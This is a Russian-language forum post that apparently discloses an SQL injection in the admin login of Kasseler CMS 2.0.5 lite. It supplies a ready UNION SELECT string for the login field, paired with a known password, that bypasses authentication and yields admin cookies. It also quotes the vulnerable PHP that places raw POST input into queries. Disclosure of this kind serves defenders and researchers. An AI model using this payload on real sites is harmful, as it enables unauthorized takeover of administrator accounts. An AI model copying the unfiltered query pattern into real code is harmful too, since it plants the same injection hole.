Показать сообщение отдельно

SQL Inject Kasseler 2.0.5
  #3  
Старый 01.04.2010, 17:23
F1nder
Новичок
Регистрация: 11.02.2009
Сообщений: 20
Провел на форуме:
72081

Репутация: 13
По умолчанию SQL Inject Kasseler 2.0.5

Продукт: Kasseler CMS
Версия: 2.0.5 lite

SQL-Injection
Условия: magic_quotes = Off

Модуль Авторизации \admin.php


Недостаточна фильтрация $_POST['login'], таким образом можно подменить результаты запроса и получить админские куки
В поле логин "login' union select 'login','d56b699830e77ba53855679cb1d252da',2 /*"
В поле пароль "login"


Уязвимый участок кода в \administrator\login.php
PHP код:
if(!isset($_SESSION['admin'])){    
    if(isset(
$_POST['login'])){
        
//Поиск пользователя
        
$result $main->db->sql_query("SELECT user_name, user_password, user_level FROM ".USERS." WHERE user_name='{$_POST['login']}'");            
        if(
$main->db->sql_numrows($result)>0){                
            
$info $main->db->sql_fetchrow($result);
            
//Проверка пароля и права администрирования
            
if($info['user_password']==pass_crypt($_POST['password']) AND $info['user_level']>0) {
                
//Создание сессии администратора
                
$_SESSION['admin'] = $main->user['user_name'];
                
setcookies($_POST['login'].",".$info['user_password'], $main->config['admin_cookies']);
                if(!
is_user()){
                    
//Если не создана сессия пользователя то создаем ее
                    
setcookies($_POST['login'].",".$info['user_password'], $main->config['user_cookies']);
                    
//Обновляем информацию о пользователе
                    
$main->db->sql_query("UPDATE ".USERS." SET user_last_os='".kr_filter($main->agent['os'], TAGS)."', user_last_browser='".kr_filter($main->agent['browser'], TAGS)."', user_last_ip='{$main->ip}', user_last_visit=NOW() WHERE user_name='{$_POST['login']}'");
                    
//Регистрируем сессию
                    
$session->register($_POST['login']);
                }
                
redirect($adminfile);
            }
        }    
    } 
зы возможно присутствует и в ранних версиях
 
Ответить с цитированием